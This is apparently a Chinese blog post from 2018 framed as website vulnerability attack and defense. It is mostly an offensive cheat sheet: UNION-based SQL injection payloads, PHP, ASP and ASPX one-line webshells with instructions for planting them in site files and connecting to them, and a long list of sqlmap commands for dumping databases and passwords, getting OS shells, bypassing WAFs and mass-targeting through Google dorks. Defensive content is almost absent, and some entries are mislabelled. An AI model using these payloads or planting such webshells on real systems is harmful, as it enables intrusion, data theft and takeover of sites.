网站漏洞检测-攻与防

1.收集信息

网站指纹识别平台
http://whatweb.bugscaner.com/look/
http://www.yunsee.cn/
漏洞发布平台
https://www.exploit-db.com/

2.根据网站指纹识别的结果,查看系统版本及解决方案

  2.1 dedecms系统

  http://www.xxx.com/url/data/admin/ver.txt

  

  2.2  SeaCMS v6.54和v6.55 前台Getshell 代码执行漏洞分析(附批量getshell脚本)

  https://bbs.ichunqiu.com/thread-35140-1-1.html

  2.3

 

3.后台扫描工具

  御剑后台扫描、

 

4.SQL语句猜解
  4.1 查看返回信息的对应位置
      1' and 1=2 union select 1,2,3 --
  4.2 查看数据库的数据库名,账户名,版本信息
    1' and 1=2 union select database(),user(),version --
  4.3 获取操作系统的信息
    1' and 1=2 union select 1,2,@@global.version_compile_os from mysql.user --
  4.4 获取mysql数据库所有数据库的名字
    1' and 1=2 union select 1,2,schema_name from information_schema.schemata --
  4.5 猜解表名,看是否存在users表
    1' and exists(select * from users)

 5.一句话+菜刀连接
  1)学习一句话木马
  2)学习菜刀的使用
  ## 【实验原理】
  菜刀的主要功能是用来连接一句话木马的,asp、aspx、php的一句话菜刀都可以连,只是这几种一句话语句不一样。
  6.1 asp的一句话是:<%eval request(“pass”)%>
  6.2 aspx的一句话是:`<%@ Page Language=”Jscript”%>`
            `<%eval(Request.Item["pass"],”unsafe”);%>`
  6.3 php的一句话是:`<?php @eval($_POST['pass']);?>`
  这几个一句话的密码都是pass,也就是双引号或者单引号包含着的这部分,例如把asp的一句话的密码改成drvfan,那么改完之后就是这样的:
  `<%eval request(“drvfan”)%>`
  其他同理。
  连接一句话木马,首先得把这个一句话插入到一个正常的网站文件中,asp的一句话插入到asp文件里,aspx的一句话插入到aspx文件里,php同理。
  也可以把一句话单独写在一个文件里,比如新建了一个php文件,这个php文件的全部内容就只有一个一句话,也是可以的。
  插入了一句话木马,下面就是连接了。

 

6.sqlmap使用

 

  1.列出数据库:  

  sqlmap.py -u 存在注入的URL地址 --dbs  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --dbs

 

  2.指定数据库,列出表名:  

  sqlmap.py -u 存在注入的URL地址 -D 数据库名 --tables  

  sqlmap.py -u "http://www.test.com/route.php?act=register" -D "database" --tables

 

  3.指定数据库、表名,列出字段(列名):  

  sqlmap.py -u 存在注入的URL地址 -D 数据库名 -T 表名 --columns  

  sqlmap.py -u "http://www.test.com/route.php?act=register" -D "database" -T "table" --columns

 

  4.爆字段内容并保存(dump)  

  sqlmap.py -u 存在注入的URL地址 -D 数据库名 -T 表名 -C 列名 --dump  

  sqlmap.py -u "http://www.test.com/route.php?act=register" -D "database" -T "table" -C "column1,column2..." --dump

 

  5.爆字段内容并保存(多线程,指定行)--start:指定开始的行,--stop:指定结束的行,--threads:指定多线程数量  

  sqlmap.py -u 存在注入的URL地址 -D 数据库名 -T 表名 -C 列名1,列名2 --dump --threads=10 --start=1 --stop=3  

  sqlmap.py -u "http://www.test.com/route.php?act=register" -D "database" -T "table" -C "column1,column2..." --dump --threads=10 --start=1 --stop=3

 

  6.跳过询问语句  

  sqlmap.py -u 存在注入的URL地址 --batch  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --batch

 

  7.web当前使用的数据库  

  sqlmap.py -u 存在注入的URL地址 --current-db  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --current-db

 

  8.web数据库使用账户  

  sqlmap.py -u 存在注入的URL地址 --current-user  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --current-user

 

  9.列出sqlserver所有用户  

  sqlmap.py -u 存在注入的URL地址 --users  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --users

 

  10.数据库账户与密码  

  sqlmap.py -u 存在注入的URL地址 --passwords  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --passwords

 

  11.判断当前用户是不是DBA  

  sqlmap.py -u 存在注入的URL地址 --is-dba  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --is-dba

 

  12.查看当前权限  

  sqlmap.py -u 存在注入的URL地址 --privileges  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --privileges

 

  13.写web shell  

  sqlmap.py -u 存在注入的URL地址 --os-shell

   sqlmap.py -u "http://www.test.com/route.php?act=register" --os-shell

 

  14.用于mysql中DDOS攻击  

  sqlmap.py -u 存在注入的URL地址 --os-shell  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --sql-shell

 

  15.Google搜索注入  

  sqlmap.py -g inurl:php?id=  

  python2 sqlmap.py -g inurl:php?id=

 

  16.sqlmap中的请求延迟  

  sqlmap.py -u 存在注入的URL地址 --dbs --delay 1  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --dbs --safe-freq 3

 

  17.sqlmap绕过WAF防火墙  

  sqlmap.py -u 存在注入的URL地址 --dbs -v3 --batch --tamper "space2morehash.py"  

  space2morehash.py中可以替换为space2hash.py或者base64encode.py或者charencode.py都是编码方式  

  sqlmap.py -u "http://www.test.com/route.php?act=register" --dbs -v3 --batch --tamper "space2morehash.py"

 

  18.注入点执行命令与交互写shell  

  sqlmap.py -u 存在注入的URL地址 --os-cmd=ipconfig  sqlmap.py -u "http://www.test.com/route.php?act=register" --os-cmd=ipconfig  

  sqlmap.py -u 存在注入的URL地址 --os-shell  sqlmap.py -u "http://www.test.com/route.php?act=register" --os-shell

 

  19.从数据库中搜索字段column1,column2  

  sqlmap.py -u 存在注入的URL地址 -D "database" --search -C "column1,column2"  

  sqlmap.py -u "http://www.test.com/route.php?act=register" -D "database" --search -C "column1,column2"

 

  20.用于mysql中DDOS攻击  

  sqlmap.py -u 存在注入的URL地址 --os-shell  s

  qlmap.py -u "http://www.test.com/route.php?act=register" --sql-shell

 

  Post注入三种方式

  方式一:

      用Burp抓包,然后保存抓取到的内容。

      例如:保存为post.txt,然后把它放至某个目录下 sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n --dbs

 

  方式二:

      自动搜索表单的方式

      sqlmap.py -u "http://www.test.com/authserver/login" --forms

 

  方式三:

      指定参数注入

      sqlmap.py -u "http://www.test.com/route.php?act=register" --data "p1=1&p2=2&p3=3" -p "p1,p2" --dbs

 

  sqlmap详细命令:

  •-is-dba 当前用户权限(是否为root权限)

  •-dbs 所有数据库

  •-current-db 网站当前数据库

  •-users 所有数据库用户

  •-current-user 当前数据库用户

  •-random-agent 构造随机user-agent

  •-passwords 数据库密码

  •-proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理

  •-time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

 

  Request(请求): 这些选项可以用来指定如何连接到目标URL。

  •-data=DATA 通过POST发送的数据字符串

  •-cookie=COOKIE HTTP Cookie头   

  •-cookie-urlencode URL 编码生成的cookie注入

  •-drop-set-cookie 忽略响应的Set – Cookie头信息

  •-user-agent=AGENT 指定 HTTP User – Agent头

  •-random-agent 使用随机选定的HTTP User – Agent头

  •-referer=REFERER 指定 HTTP Referer头

  •-headers=HEADERS 换行分开,加入其他的HTTP头

  •-auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)

  •-auth-cred=ACRED HTTP身份验证凭据(用户名:密码)

  •-auth-cert=ACERT HTTP认证证书(key_file,cert_file)

  •-proxy=PROXY 使用HTTP代理连接到目标URL

  •-proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)

  •-ignore-proxy 忽略系统默认的HTTP代理

  •-delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒

  •-timeout=TIMEOUT 等待连接超时的时间(默认为30秒)

  •-retries=RETRIES 连接超时后重新连接的时间(默认3)

  •-scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式

  •-safe-url=SAFURL 在测试过程中经常访问的url地址

  •-safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

 

  更多请访问:https://www.cnblogs.com/ichunqiu/p/5805108.html

 

posted @ 2018-02-19 16:17  肖博vlog  阅读(897)  评论(0编辑  收藏  举报